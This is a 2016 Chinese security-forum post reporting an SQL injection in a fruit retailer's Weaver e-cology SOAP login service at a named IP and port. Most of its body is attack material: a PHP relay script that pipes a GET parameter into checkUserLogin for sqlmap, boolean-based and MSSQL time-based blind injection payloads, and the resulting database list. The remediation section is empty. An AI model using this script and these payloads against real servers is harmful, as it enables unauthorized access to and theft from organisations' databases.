HanDs
管理员

[7月漏洞公开] 天天果园某分站存在SQL注入 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

支持峰会,求注册码一枚

详细说明:

http://180.167.72.216:88/login/Login.jsp



QQ图片20160707181813.png







http://180.167.72.216:88//services/MobileService?wsdl



QQ图片20160707181937.png







QQ图片20160707181955.png





采用别人的中转脚本

code 区域
<?php
$in0=$_GET['name'];
#$in0 = $in0."' and 'a' = 'a";
header("content-type:text/html;charset=utf-8");
try {
$client = new SoapClient('http://180.167.72.216:88//services/MobileService?wsdl');
$xml = "
<SOAP-ENV:Envelope xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/' xmlns:soap='http://schemas.xmlsoap.org/wsdl/soap/' xmlns:xsd='http://www.w3.org/1999/XMLSchema' xmlns:xsi='http://www.w3.org/1999/XMLSchema-instance' xmlns:m0='http://tempuri.org/' xmlns:SOAP-ENC='http://schemas.xmlsoap.org/soap/encoding/' xmlns:urn='webservices.services.weaver.com.cn' xmlns:urn2='http://workflow.webservices.mobile.weaver'>
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:checkUserLogin>
<urn:in0>1</urn:in0>
<urn:in1>1</urn:in1>
<urn:in2>1</urn:in2>
</urn:checkUserLogin>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
$result=$client->checkUserLogin(array('in0'=>$in0,'in1'=>'123456','in2'=>1));
echo $result->out ;//显示结果
} catch (SOAPFault $e) {
print_r('Exception:'.$e);
}
?>





漏洞证明:

code 区域
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=sysadmin' AND 7195=7195 AND 'Hxbs'='Hxbs

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: name=sysadmin' OR 5806=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'veYf'='veYf
---





数据库



code 区域
available databases [7]:
[*] ecology
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb





QQ图片20160707182511.png

修复方案:

删除了


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
天天
#1楼
发帖时间:2016-7-14   |   查看数:0   |   回复数:0
游客组
快速回复